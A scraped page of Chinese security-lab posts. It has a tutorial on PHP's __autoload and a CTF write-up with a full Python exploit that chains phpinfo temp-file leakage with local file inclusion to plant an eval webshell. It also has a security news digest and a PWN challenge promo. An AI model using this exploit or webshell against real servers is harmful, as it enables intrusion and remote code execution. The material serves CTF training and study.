前言: __autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。 什么是autoload魔术方法? 首先还是从官方手册中下手,了解autoload函数 由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。 虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。 举一个简单的例子,假设我们有index.php业务代码如下: <?php function __autoload($classname){ include("class_$classname.php"); } $a = new A();并且我们有class_A.php代码如下: <?php class A{ function __construct(){ echo "I am class A\n"; } }我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。 而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。 所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。 autoload相比手动加载有哪些优势? 虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。 首先假设我们有autoload.php主业务逻辑代码如下: <?php require_once("class_A.php"); require_once("class_B.php"); require_once("class_C.php"); if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。 那么如何解决这一个问题呢? 答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。 因此我们将autoload.php代码修改如下: <?php function __autoload($classname){ require("class_$classname.php"); } if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。 除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。 那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢? 有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。 从一道CTF题看autoload 首先题目代码如下: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-10-13 11:25:09 # @Last Modified by:   h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{    private $username;    private $password;    private $vip;    private $secret;    function __construct(){        $this->vip = 0;        $this->secret = $flag;   }    function __destruct(){        echo $this->secret;   }    public function isVIP(){        return $this->vip?TRUE:FALSE;       }   }    function __autoload($class){        if(isset($class)){            $class();   } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){    echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。 然后我们再往下审计: $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值 if(class_exists($__CTFSHOW__)){    echo "class is exists!"; }这一部分有一个函数:class_exists 这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法 而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。 if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。 因此我们可以考虑利用文件包含结合phpinfo进行RCE。 这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。 exp链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 说明文档:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md 将改exp修改部分后,如下: #!/usr/bin/python import sys import threading import socket attempts_counter = 0 def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):    """   根据提供参数返回请求内容   :param host:HOST   :param port:端口   :param phpinfo_path: phpinfo文件地址   :param lfi_path: 包含lfi的文件地址   :param lfi_param: lfi载入文件时, 指定文件名的参数   :param shell_code: shell代码   :param shell_path: shell代码保存位置   :return:       phpinfo_request: phpinfo 请求内容       lfi_request: lfi 请求内容       tag: 标识内容   """    tag = 'Security Test'   # 搜索验证标识    payload = \ '''{tag}\r <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)    request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format(payload=payload)    phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} '''.format(    padding='A' * 4000,    phpinfo_path=phpinfo_path,    request_data_length=len(request_data),    host=host,    port=port,    request_data=request_data   )    lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r '''.format(    lfi_path=lfi_path,    lfi_param=lfi_param,    host=host   )    return phpinfo_request, tag, lfi_request def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):    """   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行   :param host:HOST   :param port:端口   :param phpinfo_request: phpinfo页面请求内容   :param offset: tmp_name在phpinfo中的偏移位   :param lfi_request: lfi页面请求内容   :param tag: 标识内容   :return:       tmp_file_name: 临时文件名   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    lfi_socket.connect((host, port))    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中    # print(phpinfo_request)    # print(lfi_request)    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while len(phpinfo_response_data) < offset:        # 取不到数据则反复执行        phpinfo_response_data += phpinfo_socket.recv(offset).decode()    try:        tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')        # 获取包含payload的临时文件名        tmp_file_name = phpinfo_response_data[                            tmp_name_index + 17:                            tmp_name_index + 31                       ]    except ValueError:        return None    # 2. 再向lfi发送包含payload的临时文件名, 用于包含    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())    # print(lfi_request.format(tmp_file_name))    lfi_response_data = lfi_socket.recv(4096).decode()    # 3. 停止phpinfo socket连接    phpinfo_socket.close()    # 4. 停止lfi socket连接    lfi_socket.close()    if lfi_response_data.find(tag) != -1:        # 5. lfi response中存在标识内容则payload执行成功        return tmp_file_name class ThreadWorker(threading.Thread):    def __init__(self, event, lock, max_attempts,                 host, port, phpinfo_request,                 offset, lfi_request, tag,                 shell_code, shell_path,                 lfi_path, lfi_param):        threading.Thread.__init__(self)        self.event = event        self.lock = lock        self.max_attempts = max_attempts        self.host = host        self.port = port        self.phpinfo_request = phpinfo_request        self.offset = offset        self.lfi_request = lfi_request        self.tag = tag        self.shell_code = shell_code        self.shell_path = shell_path        self.lfi_path = lfi_path        self.lfi_param = lfi_param    def run(self):        global attempts_counter        while not self.event.is_set():            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)            with self.lock:                # 获取锁, 执行完后释放                if attempts_counter >= self.max_attempts:                    return                attempts_counter += 1            try:                tmp_file_name = phpinfo_lfi(                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)                if self.event.is_set():                    break                if tmp_file_name:                    # 找到tmp_file_name后通过set event停止运行                    print('\n{shell_code} 已经被写入到{shell_path}中'.format(                        shell_code=self.shell_code,                        shell_path=self.shell_path                   ))                    'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'                    print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(                        host=self.host,                        port=self.port,                        lfi_path=self.lfi_path,                        lfi_param=self.lfi_param,                        shell_path=self.shell_path                   ))                    self.event.set()            except socket.error:                return def get_offset(host, port, phpinfo_request):    """   获取tmp_name在phpinfo中的偏移量   :param host: HOST   :param port: 端口   :param phpinfo_request: phpinfo 请求内容   :return:       tmp_name在phpinfo中的偏移量   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while True:        i = phpinfo_socket.recv(4096).decode()        phpinfo_response_data += i        if i == '':            break        # 检测是否是最后一个数据块        if i.endswith('0\r\n\r\n'):            break    phpinfo_socket.close()    tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')    print(phpinfo_response_data)    if tmp_name_index == -1:        raise ValueError('没有在phpinfo中找到tmp_name')    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))    return tmp_name_index + 256 def main():    pool_size = 100    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'    port = 8080    phpinfo_path = '/'    lfi_path = '/'    lfi_param = 'isVIP=1'    shell_code = '<?php eval($_POST["mb"]);?>'    shell_path = '/tmp/g'    # 最大尝试次数    max_attempts = 1000    print('LFI With PHPInfo()')    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容    phpinfo_request, tag, lfi_request = setup(        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)    # 二 获取[tmp_name]在phpinfo中的偏移位    offset = get_offset(host, port, phpinfo_request)    sys.stdout.flush()    thread_event = threading.Event()    thread_lock = threading.Lock()    print('创建线程池 {}...'.format(pool_size))    sys.stdout.flush()    thread_pool = []    for i in range(0, pool_size):        # 三 多线程执行phpinfo_lfi        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                        host, port, phpinfo_request, offset,                                        lfi_request, tag,                                        shell_code, shell_path,                                        lfi_path, lfi_param                                       ))    for t in thread_pool:        t.start()    try:        while not thread_event.wait(1):            if thread_event.is_set():                break            with thread_lock:                sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))                sys.stdout.flush()                if attempts_counter >= max_attempts:                    # 尝试次数大于最大尝试次数则退出                    break        if thread_event.is_set():            print('''success !''')        else:            print('LJBD!')    except KeyboardInterrupt:        print('\n正在停止所有线程...')        thread_event.set()    for t in thread_pool:        t.join() if __name__ == "__main__":    main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。 总结: __autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。 https://www.yijinglab.com/pages/CTFLaboratory.jsp
网络安全日报 2021年10月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌修复 Chrome 中的四个严重漏洞 https://www.securityweek.com/google-patches-four-severe-vulnerabilities-chrome 2、Apache 发布了另一个 HTTP 服务器零日漏洞的补丁 https://www.securityweek.com/apache-releases-another-patch-actively-exploited-http-server-zero-day 3、思科修补安全设备、商业交换机中的高危漏洞 https://www.securityweek.com/cisco-patches-high-severity-vulnerabilities-security-appliances-business-switches 4、勒索软件组织 FIN12 针对医疗保健业 https://thehackernews.com/2021/10/ransomware-group-fin12-aggressively.html 5、研究人员警告针对 Linux 的 FontOnLake Rootkit 恶意软件 https://thehackernews.com/2021/10/researchers-warn-of-fontonlake-rootkit.html 6、微软默认禁用 Excel 4.0 宏以保护用户 https://www.bleepingcomputer.com/news/microsoft/microsoft-is-disabling-excel-40-macros-by-default-to-protect-users/ 7、Firefox 93 新增 HTTP 下载阻止和新的用户隐私功能 https://portswigger.net/daily-swig/firefox-93-lands-with-http-download-blocking-new-user-privacy-features 8、德国网络安全监管机构调查小米手机 https://www.solidot.org/story?sid=69109 9、微软称政府资助的网络犯罪攻击中,俄罗斯占58% https://securityaffairs.co/wordpress/123124/apt/russuan-nation-state-attacks.html 10、Python包Yamale存在一个高危的代码注入漏洞 https://thehackernews.com/2021/10/code-execution-bug-affects-yamale.html
cover,你知道什么是延迟绑定吗
正文: 每周五固定节目又来了!今天给大家带来的是第三题<cover>,本题为PWN题型。 上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。 放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。 PWN在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C/C++编程语言、汇编/反汇编、操作系统、堆栈原理…等等基础。  本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。 在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!  最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。  我们下个周五见,国庆盼完等元旦! https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页